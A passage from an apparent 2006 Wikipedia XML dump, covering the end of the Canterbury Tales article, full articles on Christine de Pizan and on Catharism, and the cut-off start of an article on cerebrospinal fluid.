*[http://www.canterburytales.org/canterbury_tales.html Chaucer's Canterbury Tales ~ Presented by ELF]
* [http://www.shadowedrealm.com/articles/exclusive/article.php?id=5 Changes in the Griselda Story: Chaucer's ''The Clerk's Tale'']
* [http://www.shadowedrealm.com/articles/exclusive/article.php?id=6 The Purpose of Chaucer's Retraction] an article from [http://www.shadowedrealm.com/ Shadowed Realm - Your Guide to Medieval History]
* [http://www.sparknotes.com/lit/canterbury/ Spark Notes]
* [http://www.gradesaver.com/ClassicNotes/Titles/canterbury/ Classic Notes]
* [http://www.canterburytales.org.uk/home.htm Visitor attraction in Canterbury]

==Further reading==
Kolne, V.A. and Glending Olson (Eds.) (2005). ''The Canterbury Tales: Fifteen Tales and The General Prologue; Authoritative Text, Sources and Backgrounds, Criticism'' (2nd ed.). New York, London: W.W. Norton and Company. ISBN 0-393-92587-0. LC PR1867.K65 2005. A Norton Critical Edition, this book offers valuable primary texts and secondary criticism.

{{Chaucer}}

[[Category:14th century books|Canterbury Tales]]
[[Category:The Canterbury Tales| ]]

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[[es:Cuentos de Canterbury]]
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    </revision>
  </page>
  <page>
    <title>Christine de Pizan</title>
    <id>7628</id>
    <revision>
      <id>40836958</id>
      <timestamp>2006-02-23T09:05:00Z</timestamp>
      <contributor>
        <username>Dimadick</username>
        <id>24198</id>
      </contributor>
      <comment>/* External links */  Added category &quot;Women writers&quot;</comment>
      <text xml:space="preserve">[[Image:Christine de Pisan - Project Gutenberg eBook 12254.jpg|thumbnail|right|250px|Christine de Pizan, showing the interior of an apartment at the end of the 14th or commencement of the 15th century]]
{{French literature (small)}}
'''Christine de Pizan''' ([[1364]] -[[1430]]) was a remarkable [[medieval]] writer, [[rhetorician]] and critic, who strongly challenged [[misogynist]] thinking by successfully establishing her authority, even in the midst of the male-dominated realm of arts, as a female writer. De Pizan’s prolific writings, forty-one known pieces, written over her career of at least thirty years (1399-1429), earned her fame as Europe’s first professional woman writer (Redfern 74). In particular, her success stems from a wide range of innovative writing techniques that critically challenged renowned male writers who, to Pizan’s dismay, incorporated misogynist scrutiny within their literary works. Overall, de Pizan and her writings have been celebrated and embraced; she is seen as a [[feminist]] foremother who effectively utilized language to demonstrate that women, with distinctive abilities, could play an integral role within society.

==Life==
Christine de Pizan was born in [[Venice]]. She was the daughter of Tommaso di Benvenuto da Pizzano (Thomas de Pizan), a physician, professor of astrology, and Councillor of the Republic of Venice. Following Christine’s birth, Thomas de Pizan accepted an appointment to the court of [[Charles V of France]], as the King’s [[astrologer]], [[alchemist]], and [[physician]]. In this atmosphere, Christine was able to pursue her intellectual interests. She successfully educated herself by immersing herself in languages, the rediscovered classics and humanism of the early Renaissance, and within Charles V’s royal archive that housed a vast amount of manuscripts. However, de Pizan did not assert her intellectual abilities, or establish her authority as a writer until she was widowed at the age of twenty-four. (Redfern 76).

Christine married Etienne du Castel, a royal secretary to the court, at the age of fifteen. She bore three children, a daughter Marie, a son Jean, and another child who died in childhood (Willard 35). However, de Pizan’s familial life was threatened in 1390 when Christine’s husband, while in [[Beauvais]] on a mission with the king, suddenly died in an epidemic (Willard 39). Following du Castel’s death, Christine was burdened by economic disasters. When she tried to collect money due to her husband’s estate, she faced complicated lawsuits regarding the recovery of salary due to her husband (Willard 39). In order to support herself and her family, Christine established literary contacts within the court. By 1393, Christine was writing love [[ballads]], which caught the attention of wealthy patrons within the court (Redfern 77). However, de Pizan’s participation in the first literary quarrel, in 1401-1402, allowed her to move beyond the courtly circles, and to ultimately establish her status as a woman writer.

==Establishing her literary reputation==
[[Image:Christine de Pisan and her son.jpg|thumb|left|Christine de Pizan instructs her son.]]
Early in her literary career, de Pizan involved herself in a renowned literary debate, the “Querelle du Roman de la Rose,” which took place between 1401 and 1402 (Willard 73). Pizan help to instigate this particular debate when she began to question the literary merits of [[Jean de Meun]]’s the ''[[Roman de la Rose|Romance of the Rose]]''. Written in the thirteenth century, the ''Romance of the Rose'' satirizes the conventions of courtly love while also critically depicting women as nothing more than seducers. De Pizan specifically objected to the use of vulgar terms within Jean de Meun’s allegorical poem. She argued that these vulgar terms denigrated the proper and natural function of sexuality, and that such language was inappropriate for female characters such as [[Reason|Lady Reason]]. According to de Pizan, noble women did not use such language (Quilligan 40). Her critique primarily stems from believing that Jean de Meun was purposely slandering women through the debated text. 

The debate itself is quite extensive. However by the end of this drawn out occurrence, the principle issue was no longer Jean de Meun’s literary capabilities. Instead, due to the participation of Christine in the debate, the focus had ultimately shifted to the unjust slander of women within literary texts. This dispute then, helped to establish Christine’s reputation as a female intellectual who could assert herself effectively and defend her claims in the male-dominated literary realm. Her intellectual abilities however, did not cease following this literary debate. Instead, Christine continued to refute abusive literary treatments of women as an authoritative rhetorician. With her own established voice, de Pizan confidently began to counteract traditional, patriarchal, literary discourses.

==Making her mark: de Pizan's literary works==
[[image:Meister der 'Cité des Dames' 002.jpg|thumb|right|Picture from ''The Book of the City of Ladies'']]
By [[1405]], Christine had completed her most successfully literary works, ''[[The Book of the City of Ladies]]'' and ''[[The Treasure of the City of Ladies|The Treasure of the City of Ladies or The Book of the Three Virtues]]''. The first of these proves to show the importance of women’s past contributions to society, and the second strives to teach women of all estates how to cultivate useful qualities in order to counteract the growth of misogyny (Willard 135). 

Christine’s final work was a poem eulogizing [[Joan of Arc]], the peasant girl who took a very public role in organizing French military resistance to English domination in the early fifteenth century. Written in 1429, ''The Tale of Joan of Arc'' celebrates the appearance of a woman military leader who according to Christine, vindicated and rewarded all women’s efforts to defend their own sex (Willard 205-205). After completing this particular poem, it seems that Christine, at the age of sixty-five, decided to end her literary career (Willard, 207). The exact date of her death is unknown. However, her death did not indicate a ceased appreciation for her renowned literary works. Instead, her legacy continued on because of the voice she created and established as an authoritative rhetorician.

==De Pizan: an authoritative rhetorician==
[[image:Christine de Pisan - cathedra.jpg|thumb|left|Christine de Pizan lecturing to a group of men.]]
During the “Querelle du Roman de la Rose,” de Pizan responded to Jean de Montreuil, who had written her a treatise defending the misogynist sentiments within the ''Romance of the Rose''. She begins by claiming that her opponent was an “expert in rhetoric” as compared to herself “a woman ignorant of subtle understanding and agile sentiment.” In this particular apologetic response, Christine belittles her own style. She is employing a rhetorical strategy by writing against the grain of her meaning, also known as antiphrasis (Redfern 80). Her ability to employ rhetorical strategies continued when Christine began to compose literary texts following the “Querelle du Roman de la Rose.” 

Within ''The Book of the City of Ladies'' Christine creates a symbolic city in which women are appreciated and defended. Christine, having no female literary tradition to call upon, constructs three allegorical foremothers: Reason, Justice, and Rectitude. She enters into a dialogue, a movement between question and answer, with these allegorical figures that is from a completely female perspective (Cambell 6). These constructed women lift Christine up from her despair over the misogyny prevalent in her time. Together, they create a forum to speak on issues of consequence to all women. Only female voices, examples and opinions provide evidence within this text. Christine, through Lady Reason in particular, argues that stereotypes of woman can be sustained only if women are prevented from entering the, dominant male-oriented, conversation (Campbell 7). Overall, Christine hoped to establish truths about women that contradicted the negative stereotypes that she had identified in previous literature. She did this successfully by creating literary foremothers that helped her to formulate a female dialogue that celebrated women and their accomplishments. 

In ''The Treasure of the City of Ladies'' Christine highlights the persuasive effect of women’s speech and actions in everyday life. In this particular text, Christine argues that women must recognize and promote their ability to make peace. This ability will allow women to mediate between husband and subjects. She also claims that slanderous speech erodes one’s honour and threatens the sisterly bond among women. Christine then, argued that &quot;skill in discourse should be a part of every woman’s moral repertoire&quot; (Redfern 87). Christine realized that a women’s influence is realized when their speech equates chastity, virtue and restraint. Christine proved that speech, rhetoric, is a powerful tool that women could employ to settle differences and to assert themselves. Overall, Christine presented a concrete strategy that allowed all women, regardless of their status, to undermine the dominant, patriarchal, discourse. 

It is evident then, that Christine de Pizan contributed to the rhetorical tradition as a woman counteracting the dominant discourse of the time. Rhetorical scholars have extensively studied her persuasive strategies. It has been concluded that de Pizan successfully forged a rhetorical identity for herself, and also encouraged all women to embrace this identity by counteracting misogynist thinking through the powerful tool of persuasive dialogue.

==References==
*Campbell, Karlyn K.''Three Tall Women: Radical Challenges to Criticism, Pedagogy, and Theory.'' The Carroll C. Arnold Distinguished Lecture National Communication Association November 2001 Boston: Pearson Education Inc, 2003
*Redfern, Jenny ''Christine de Pisan and The Treasure of the City of Ladies: A Medieval Rhetorician and Her Rhetoric'' in Lunsford, Andrea A, ed. Reclaiming Rhetorica: Women and in the Rhetorical Tradition.Pittsburgh: University of Pittsburgh Press, 1995.
*Quilligan, Maureen.The Allegory of Female Authority: Christine de Pizan's ''Cité des Dames.'' New York: Cornell University Press, 1991.
*Willard, Charity C. Christine de Pizan: Her Life and Works. New York: Persea Books, 1984.

==Contemporary scholarship==
*The standard translation of ''The Book of the City of Ladies'' is by Earl Jeffrey Richards, (1982). The first English translation of Christine de Pizan’s ''The Treasure of the City of Ladies:'' or ''The Book of the Three Virtues'' is Sarah Lawson’s (1985). 
*The standard biography about Christine de Pizan is Charity Cannon Willard’s ''Christine de Pizan: Her Life and Works'' (1984). Willard’s biography also provides a comprehensive overview of the “Querelle du Roman de la Rose.” Kevin Brownlee also discusses this particular debate in detail in his article ''Widowhood, Sexuality and Gender in Christine de Pizan'' (in The Romantic Review, 1995)
*For a more detailed account of de Pizan’s rhetorical strategies refer to Jenny R. Redfern’s excerpt ''Christine de Pizan and The Treasure of the City of Ladies: A Medieval Rhetorician and Her Rhetoric'' (in Reclaiming Rhetorica, ed. Andrea A. Lunsford, 1995). 
*M. Bell Mirabella discusses de Pizan’s ability to refute the patriarchal discourse in her article ''Feminist Self-Fashioning: Christine de Pizan and The Treasure of the City of Ladies'' (in The European Journal of Women’s Studies, 1999). 
*Karlyn Kohrs Campbell presents an interesting argument about de Pizan’s ability to create a female-oriented dialogue in her lecture ''Three Tall Women: Radical Challenges to Criticism, Pedagogy, and Theory'' (The Carroll C. Arnold Distinguished Lecture, National Communication Association, 2001). 
*Refer to ''The Rhetorical Tradition'' (ed. Patricia Bizzell and Bruce Herzberg, 2001) and ''The Norton Anthology of Theory and Criticism'' (ed. Vincent B. Leitch, 2001) for some commentary on de Pizan’s life, literary works, rhetorical contributions and other relevant sources that one may find useful. 

==See also==
*[[Isabeau of Bavaria]]
*[[Joan of Arc]]
*[[List of French language poets]]
*[[Vernacular literature]]
*[[Women's history]]

==External links==
* {{gutenberg author| id=Christine+de+Pisan | name=Christine de Pizan}}
* [http://www.arlima.net/ad/christine_de_pizan.html A complete bibliography of her works, including listings of the manuscripts, editions, translations, and essays.] '''in French''' at [http://www.arlima.net Archives de littérature du Moyen Âge (Arlima)]

[[category:1364 births|De Pizan, Christine]]
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[[Category:Medieval literature|De Pizan, Christine]]
[[Category:Feminism|De Pizan, Christine]]
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[[Category:Women writers|De Pizan, Christine]]

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:''This article is about a religious movement called &quot;Catharism&quot;, for the information on a [[Star Wars]] race under the same name, see the [[list of Star Wars races#Cathar|list of Star Wars races]].

[[Image:cathars_expelled.JPG|right|framed|Cathars being expelled from [[Carcassonne]] in 1209.]]

'''Catharism''' was a [[Dualism|Dualist]] [[religion|religious]] movement with Gnostic elements that originated around the middle of the [[10th century|10&lt;sup&gt;th&lt;/sup&gt; century]], branded by the contemporary [[Roman Catholic Church]] either as a [[heresy|heretical]] Christian sect or sometimes as a non-Christian religion. It existed throughout much of [[Western Europe]], but its home was in [[Languedoc]] and surrounding areas in southern [[France]]. 

The name ''Cathar'' most likely originated from [[Greek language|Greek]] &lt;span style=&quot;font-family: 'Palatino Linotype'&quot;&gt;καθαροί&lt;/span&gt;, &quot;pure ones&quot;. One of the first recorded uses is [[Eckbert von Schönau]], who wrote on heretics from Cologne in 1181: &quot;Hos nostra germania catharos appellat&quot; (&quot;In Germany we call these people Cathars&quot;).

The Cathars were also sometimes labelled '''[[Albigensians]]'''. This name originates from the end of the [[12th century|12&lt;sup&gt;th&lt;/sup&gt; century]], and was used by the chronicler [[Geoffroy du Breuil of Vigeois]] in 1181. The name refers to the southern town of [[Albi]] (the ancient Albiga). The designation is hardly exact, for the centre was at [[Toulouse]] and in the neighbouring districts.

==Origins==
The beliefs came originally from [[Eastern Europe]] by way of [[trade route]]s. The name of [[Bulgarians]] (Bougres) was also applied to the Albigenses, and they maintained an association with the [[Paulicians]] and [[Bogomils]] of [[Thrace]]. Their doctrines have numerous resemblances to those of the Bogomils and [[Paulicians]]. It is difficult to form any precise idea of the Cathar doctrines, as all the existing knowledge of them is derived from their opponents, and the few texts from the Cathars (the ''Rituel Cathare de Lyon'' and the ''Nouveau Testament en Provencal'') contain very little information concerning their beliefs and moral practices. What is certain is that they formed an anti-[[priest|sacerdotal]] party in opposition to the Catholic Church, and raised a continued protest against perceived corruption of the clergy. The Cathar heretical theologians, called ''Cathari'' or ''perfecti'' by the Catholic Church, were known to themselves, their followers and even their co-citizens as &quot;''bons hommes''&quot; or &quot;''bons chrétiens''&quot;, literally &quot;good men&quot; or &quot;good Christians&quot;, were few in number; the mass of believers (''credentes'') were not initiated into the doctrine at all&amp;mdash;they were allegedly freed from all moral prohibition and all religious obligation, on condition that they promised by an act called ''convenenza'' to become &quot;hereticized&quot; by receiving the ''[[consolamentum]]'', the baptism of the Spirit, before their death.

The first Occitan Cathars appeared in [[Limousin]] between 1012 and 1020. Several were discovered and put to death at [[Toulouse]] in 1022. The synods of Charroux (Vienne) (1028) and Toulouse (1056) condemned the growing sect. Preachers were summoned to the districts of the Agenais and the Toulousain to combat the Cathar doctrine in the 1100s. The Cathars, however, gained ground in the south thanks to the protection given by William, Duke of [[Aquitaine]], and a significant proportion of the southern nobility. The people were impressed by the ''bons hommes'', and the anti-sacerdotal preaching of [[Peter of Bruys]] and [[Henry of Lausanne]] in [[Périgord]].

==Beliefs==

===The human condition===
The Cathars proclaimed there existed within humankind a spark of divine light. This light, or spirit, had fallen into captivity within a realm of corruption &amp;mdash; identified with the material world.  This was a distinct feature of classical [[Gnosticism]], of [[Manichaeism]] and of the theology of the Bogomils. This concept of the human condition within Catharism most probably was due to direct and indirect historical influences from these older (and sometimes also violently suppressed) Gnostic movements.  According to the Cathars, the world had been created by a lesser deity, much like the figure known in classical Gnostic myth as the [[Demiurge]].  This creative force was not the &quot;True God&quot;, though he made pretense of being the &quot;one and only God&quot; before whom was no other. The Cathars identified this lesser deity, the Demiurge, with the being known by the name of [[Satan]]. (It should be noted that most forms of classical Gnosticism had not made this explicit link between the Demiurge and Satan).  Essentially, the Cathars proclaimed that the God worshipped by orthodox Christianity was an imposter, and his church was a corrupt abomination deeply infused by the failings of the material realm.  Spirit &amp;mdash; the vital essence of humanity &amp;mdash; was thus trapped in a flawed physical realm created by a usurper and ruled by his corrupt minions.

===Eschatology===
The goal of Cathar eschatology was liberation from the realm of limitation and corruption identified with material existence. The path to liberation first required an awakening to the intrinsic corruption of the medieval &quot;consensus reality&quot;, including its ecclesiastical, dogmatic, and social structures. Once cognizant of the grim existential reality of human existence (the &quot;prison&quot; of matter), the path to spiritual liberation became obvious: matter's enslaving bonds must be broken. This was a step by step process, accomplished in different measures by each individual. The Cathars apparently recognized the potential of [[reincarnation]]. Those who were unable to achieve liberation during their current mortal journey would return later to continue the struggle. Thus it should be understood that reincarnation was neither a necessary nor a desirable event, but resultant of the fact that not all humans could break the enthralling chains of matter within a single lifetime.  

===Consolamentum===
Cathar society was divided into two general categories, the ''Perfecti'' (Perfects, Parfaits) and the ''Credentes'' (Believers). The Perfecti were the core of the movement, though the actual number of Perfecti in Cathar society was always relatively small, numbering at most a few thousand during any given period. Regardless of their number, they represented the perpetuating heart of the Cathar tradition, the &quot;true Christian Church&quot;. (When discussing the tenets of Cathar faith it must be understood that absolute demands of exteme asceticism fell only upon the Perfecti.)

An individual entered into the community of Perfecti through a ritual known as the [[consolamentum]], a rite that was both sacramental and sacerdotal in nature: sacramental in that it granted redemption and liberation from this world; sacerdotal in that those who had received this rite functioned as the Cathar clergy. Upon reception of the consolamentum, the new Perfectus surrendered his or her worldly goods to the community, vested himself in a simple black robe with cord belt, and undertook a life dedicated to following the example of Christ and His Apostles &amp;mdash; an often peripatetic life of purity, prayer, preaching, charitable work, and total dependence upon alms for material sustanence. Above all, the Perfecti were dedicated to helping others find the road that led from a dark land ruled by a dark lord, to the realm of light that they believed to be humankind's first source and ultimate end.

The perceived goodness of the men and women who were Perfecti was widely witnessed in their own time and land, and they were dubbed in common parlance as the ''bon hommes''. The exemplary behavior of the Perfecti &amp;mdash; so blatantly in contrast on to the corruption of the normative medieval church &amp;mdash; was one the factors that made Catharism difficult to suppress within its homeland. (The Cathar example has been seen as one of the forces subsequently influencing the young [[Francis of Assisi]] and the [[Franciscan|movement]] he founded.)

While the Perfecti lived lives of simplicity, frugality and purity, Cathar ''credentes'' (believers) were not expected to adopt the same stringent lifestyle. Catharism was above all a popular religion and the numbers of those who considered themselves &quot;believers&quot; in the late twelfth century included a sizable portion of the population of Languedoc, counting among them many noble families and courts. These individuals married, ate meat, and led relatively normative lives within the matrix of medieval society &amp;mdash; in contrast to the Perfecti, whom they honored as their exemplars. Though unable to immediately embrace a life of complete purity, the credentes looked toward an eventual time when this would be their calling and path.

Many credentes would also eventually receive the consolumentum as death drew near &amp;mdash; embracing the ritual of liberation at a moment when the heavy obligations of purity required of a Perfecti would be temporally short. Some of those who received the sacrament of the consolamentum upon their death-beds may thereafter have shunned further food or drink in order to give the death process a quicker termination. This has been termed the ''endura''. It was claimed by Cathar opponents that by such action of self-imposed starvation, the Cathari committed suicide to escape this world. Other than at the moment of ''extremis'', however, little evidence exists to support such a Cathar practice more generally.

===Theology===
The Catharist concept of Jesus might be called docetistic (see [[docetism]]) &amp;mdash; theologically speaking, it resembled [[modalistic]] [[monarchianism]] in the West and [[adoptionism]] in the East. Simply put, most Cathars believed that [[Jesus]] had been a pure manifestation of spirit unbounded by the limitations of matter. They embraced the ''[[Gospel of John]]'' as their most sacred text, and completely rejected the [[Old Testament]] &amp;mdash; indeed, most of them  proclaimed that the god of the [[Old Testament]] was by all textual evidence really the [[devil]]. They proclaimed that there was a higher God &amp;mdash; the True God &amp;mdash; and Jesus was his messenger while many in the West who adhered to a modalistic theology proclaimed he was the True God himself. These are views similar to those of [[Marcion]]. The  deity found in the Old Testament had nothing to do with the God of Love known to Cathar faith. He had created the world as a prison, and demanded from these &quot;prisoners&quot; fearful obedience and worship. This false god was in reality &amp;mdash; so proclaimed the Cathari &amp;mdash; a blind usurper who under the most unjust pretexts tormented and murdered those whom he called all too possessively &quot;his children&quot;. (This exegesis upon the Old Testament is not unique to the Cathars, and clearly echoes views found in earlier Gnostic movements and certainly foreshadows later critical voices.)  The dogma of the [[Trinity]] and the sacrament of the [[Eucharist]] were also rejected. Belief in [[metempsychosis]], or the transmigration of souls, resulted in logical rejection of [[purgatory]]; for the Cathars, the current world was purgatory enough.

===Social relationships===
From the theological underpinnings of the Cathar faith there came practical injunctions that were potentially destabilizing to the order of medieval society. For instance, Cathars rejected the giving of oaths as wrongful; an oath served to place one under the domination this world.  To reject oaths in this manner was seen as very dangerous in a society where illiteracy was wide-spread and almost all business transactions and pledges of allegiance were based on the giving of oaths.

In Cathar society and religion women were granted an uncommon equality and autonomy, including acceptance as Perfecti, the clerical order of Cathari. Cathars did not perform any rite of marriage, which was seen as a contract of social bondage. Nor was procreation encouraged: bringing more souls into what they considered a dark and sorrowful world was not a blessed act. 

Sexual intercourse and reproduction propagated the slavery of spirit to flesh, and sexual abstinence was considered desirable even in matrimony. Informal relationships (what might be termed [[concubine|concubinage]]) may have been considered preferable to the social contract of marriage among Cathar credentes. Perfecti were expected to observe complete celibacy. Abandonment of a wife or husband (and abrogation of a social contract, though not necessarily a relationship of love) might be necessary for those who would become Perfecti.

The slaying of life was abhorrent to the Cathars, just as was the senseless copulation that produced enslavement in matter. Consequently, abstention from all animal food except fish was enjoined of the Perfecti. (The Perfecti apparently avoided eating anything considered to be a by-product of sexual reproduction, including cheese, eggs, milk and butter.) War and capital punishment were also absolutely condemned, an abnormality in the medieval age, and a fact that prohibited the Cathar Perfecti from bearing arms even in their own defense. 

Such teachings, both theological and practical, brought upon the Cathars firm condemnation from the medieval civil and religious authorities whose social order they threatened.

==Suppression==

In 1147, [[Pope Eugene III]] sent a legate to the affected district in order to arrest the progress of the Cathars. The few isolated successes of [[Bernard of Clairvaux]] could not obscure the poor results of this mission, and clearly shows the power of the sect in the south of France at that period. The missions of Cardinal Peter (of St. Chrysogonus) to Toulouse and the Toulousain in 1178, and of Henry, cardinal-bishop of Albano, in 1180&amp;ndash;1181, obtained merely momentary successes. Henry of Albano's armed expedition, where he took the stronghold at Lavaur, did not extinguish the movement. 

The persistent decisions of the councils against the Cathars at this period &amp;mdash; in particular, those of the Council of [[Tours]] (1163) and of the [[Third Council of the Lateran]] (1179) &amp;mdash; had scarcely more effect.  By the time [[Pope Innocent III]] came to power in 1198, he had resolved to suppress the Cathari. The Pope called a formal crusade, appointing a series of leaders to head his holy army.  There followed over forty years of war against the indigenous population.  During this period some 500,000 Languedoc men women and children were massacred. [http://www.languedoc-france.info/12_cathars.htm]

[[Dominic de Guzman|St Dominic]] encountered them while travelling, and tried to combat the strange doctrines. He had concluded that only the best of preachers could win over people who had fallen in with the Cathari sect. This led to the establishment of the [[Dominican Order]] in [[1216]]. The order was to live up to the terms of his famous rebuke, &quot;Zeal must be met by zeal, humility by humility, false sanctity by real sanctity, preaching falsehood by preaching truth.&quot;

At first Pope Innocent III tried pacific conversion, and sent a number of legates into the affected regions. They had to contend not only with the Cathars, the nobles who protected them, and the people who venerated them, but also with the [[bishop]]s of the district, who rejected the extraordinary authority which the [[Pope]] had conferred upon his legates. In 1204, Innocent III suspended the authority of the bishops in the south of France. Papal legate Peter of Castelnau, known for excommunicating the noblemen who protected the Cathars, excommunicated the Count of Toulouse as an [[abettor]] of heresy in 1207.  Peter was then murdered near Saint Gilles Abbey in 1208 on his way back to [[Rome]], according to the ''[[Catholic Encyclopedia]]'', &quot;probably at the connivance of [[Raymond VI, count of Toulouse]]&quot;.  As soon as he heard of the murder, the Pope ordered his legates to preach the [[Albigensian Crusade]] against the Cathars.

This war threw the whole of the nobility of the north of France against that of the south, possibly instigated by a papal decree stating that all land owned by Cathars could be confiscated at will. As the area was full of Cathar sympathisers, this made the entire area a target for northern nobles looking to gain new lands. It is thus hardly surprising that the barons of the north flocked south to do battle for the Church. 

In one famous incident in 1209, most of [[Beziers|Béziers]] were slaughtered by the Catholic forces headed by the Papal legate.  [[Arnaud-Amaury]], the Abbot of Citeaux, was asked how to distinguish between the Catholic and Cathars, and allegedly answered, &quot;Kill them all, God will know his own&quot;. The ''Catholic Encyclopedia'' denies these words were ever spoken, although they were recorded soon after the event by a respected Church chronicler who was also Arnaud-Amaury's fellow Cistercian. They are also consistent with other sources such as the contemporary Song of the Cusade.

The war also involved [[Peter II of Aragon|Peter II]], the king of [[Aragon]], who owned fiefdoms and had vassals in the area. Peter died fighting against the crusade on September 12, 1213 at the [[Battle of Muret]].  

The war ended in the Treaty of Paris (1229), by which the king of France dispossessed the house of Toulouse of the greater part of its [[fiefs]], and that of Béziers of the whole of its fiefs. The independence of the princes of the south was at an end. But in spite of the wholesale massacre of Cathars during the war, Catharism was not extinguished.

In 1215, the bishops of the Catholic Church met at the [[Fourth Council of the Lateran]] under Pope Innocent. One of the key goals of the council was to combat heresy.

The [[Inquisition]] was established in 1229 to root out the Cathars. Operating in the south at Toulouse, Albi, [[Carcassonne]] and other towns during the whole of the [[13th century|13&lt;sup&gt;th&lt;/sup&gt; century]], and a great part of the [[14th century|14&lt;sup&gt;th&lt;/sup&gt; century]], it succeeded in extirpating the movement. From May 1243 to March 1244, the Cathar citadel of [[Montségur]] was besieged by the troops of the seneschal of Carcassonne and the archbishop of Narbonne. On March 16, 1244 a large and symbolically important execution took place, where leaders of Catharism together with more than 200 Cathar laity were thrown into an enormous fire at the ''prat des cramats'' near the foot of the castle. Moreover, the church decreed severe chastisement against all laymen suspected of sympathy with Cathars (Council of [[Narbonne]], 1235; see the Bulla of [[Pope Innocent IV|Innocent IV]] ''[[Ad exstirpanda]]'', 1252). 

Hunted down by the Inquisition and abandoned by the nobles of the district, the Albigenses became more and more scattered, hiding in the forests and mountains, and only meeting surreptitiously. The people made some attempts to overthrow the Inquisition and the French, and insurrections broke out under the leadership of [[Bernard of Foix]], [[Aimerv of Narbonne]] and [[Bernard Délicieux]] at the beginning of the 14&lt;sup&gt;th&lt;/sup&gt; century. But at this point vast inquests were set on foot by the Inquisition, which increased its efforts in the district. Precise indications of these are found in the registers of the Inquisitors, [[Bernard of Caux]], [[Jean de St Pierre]], [[Geoffroy d'Ablis]], and others. The sect was exhausted and could find no more adepts, and after 1330 the records of the Inquisition contain few proceedings against Cathars. The last Cathar Perfect, [[Guillaume Bélibaste]], was executed in 1321. Other movements, such as the [[Waldensians]] and the pantheistic [[Brethren of the Free Spirit]] survived into the 14&lt;sup&gt;th&lt;/sup&gt; and [[15th century|15&lt;sup&gt;th&lt;/sup&gt; century]], until they were gradually replaced by, or absorbed into, early [[Protestant]] sects, such as the [[Hussites]].

==The Holy Grail==

*It has been suggested in some modern fiction and non-fiction books that the Cathars could have been the protectors of the [[Holy Grail]] of Christian mythology, especially in the book ''[[Holy Blood, Holy Grail]]'', although modern investigation into this book has largely discredited its findings. 

==Visigoths==

[[Visigoth]]s had settled in the region described as central to Catharism, which separated the political ideology from the Frankish northern provinces or [[Burgundy]].  The Crusade to rid [[Christendom]] of Cathars was a synonym for eradicating the last remnants of [[Arianism]].  The disparity between religious practices had not only been between the Visigoths of Toulouse and [[Franks]] of Paris. However, many later Calvinists in this region were of Berber origin.

==References==

*[http://www.newadvent.org/cathen/01267e.htm &quot;Albigenses&quot;] by N.A. Weber.  [[The Catholic Encyclopedia]], 1907.
*[http://www.newadvent.org/cathen/03435a.htm &quot;Cathari&quot;] by N.A. Weber.  [[The Catholic Encyclopedia]], 1908.
* Histories of the Cathars: ''Montaillou: The Promised Land of Error'', [[Emmanuel Le Roy Ladurie]], trans. Barbera Bray, Vintage Books, 1979
* ''Montsegur and the Mystery of the Cathars'', [[Jean Markale]], ISBN 0-89281-090-4, Inner Traditions, http://www.innertraditions.com/titles/momyca.html
*''The Cathars'', [[Malcolm Lambert]], ISBN 0-631-14343-2, Blackwell, 1998
*''The Treasure of Montsegur: A Novel of the Cathars'', [[Sophy Burnham]], ISBN 0060000791, Harper, 2002
*''All Things Are Lights'', [[Robert Shea]], ISBN 0345329031, Ballantine, 1986
*''[http://www.profilebooks.co.uk/title.php?titleissue_id=26 The Perfect Heresy]'', Stephen Shea, ISBN 1-86197-350-0, Profile Books 2000
*[http://www.askwhy.co.uk/christianity/0811Inquisition.html Heresy and the Inquisition II Persecution of Heretics] by Dr M D Magee, [[12 December]] [[2002]].
*[http://www.languedoc-france.info/12_cathars.htm The Cathars of the Langudoc] James McDonald, 2005.
*[[Hilaire Belloc]], ''The Great Heresies'', [http://www.ewtn.com/library/HOMELIBR/HERESY5.TXT chapter 5: The Albigensian Attack]
*[[lastours]] The four cathar castles above Lastours.
*''Foucault's Pendulum'', [[Umberto Eco]], ISBN 0345368754, Ballantine, 1988

===External links===
*[http://www.nd.edu/~medvllib/seals/soeast.html Seals of Southeastern France]
*[http://www.katharer.de Site of German Cathars (Katharer)]
* [http://www.cathar.info/dualism.htm Dualism] and the relationship between Manichaeism, Bogomilism and Catharism
*[http://www.renneslechateaubooks.info/languedoccathar Reviews of Books on the Cathars, Catharism and the Cathar Crusade]
*[http://www.cathar.net/ Assembly of good Christians, the modern Cathar Church]


{{1911}}

[[Category:Gnosticism]]
[[Category:History of Catholicism in France]]
[[Category:Esoteric schools of thought]]
[[Category:Vegetarianism]]

[[af:Kathaar]]
[[bg:Катарство]]
[[ca:Catarisme]]
[[cs:Albigenští]]
[[de:Katharer]]
[[et:Katarid]]
[[es:Catarismo]]
[[eo:Katarismo]]
[[fr:Catharisme]]
[[it:Catari]]
[[nl:Katharen]]
[[ja:カタリ派]]
[[no:Katarer]]
[[pl:Katarzy]]
[[pt:Catarismo]]
[[ru:Катары]]
[[simple:Cathar]]
[[sk:Albigénstvo]]
[[fi:Kataarit]]
[[sv:Katarer]]</text>
    </revision>
  </page>
  <page>
    <title>Cerebrospinal fluid</title>
    <id>7632</id>
    <revision>
      <id>41375693</id>
      <timestamp>2006-02-26T22:55:25Z</timestamp>
      <contributor>
        <username>Antifumo</username>
        <id>497334</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Cerebrospinal fluid''' ('''CSF'''), ''Liquor cerebrospinalis'', is a clear bodily fluid that occupies the [[subarachnoid space]] in the [[brain]] (the space between the [[skull]] and the [[cerebral cortex]]&amp;mdash;more specifically, between the [[arachnoid (brain)|arachnoid]] and [[pia mater|pia]] layers of the [[meninges]]). It is basically a [[Saline (medicine)|saline]] solution and acts as a &quot;cushion&quot; or buffer for the cortex.

==Physiology==

Cerebrospinal fluid also occupies the [[ventricular system]] of the brain and the [[spinal cord]]. It is mainly produced by the [[choroid plexus]], but also by the [[ependyma|ependymal lining]] of the brain's ventricles. The CSF is formed by the choroid plexus of the ventricles circulates through the [[interventricular foramina]] into the [[third ventricle]] and then via the [[mesencephalic duct]] (cerebral aqueduct) into the fourth ventricle space through two lateral apertures and one median aperture and is then absorbed by the [[venous system]] to the blood circulation.

The total amount of cerebrospinal fluid is about 150 ml, and about 500 ml is produced every day, which indicates its very active circulation.

==Pathology==

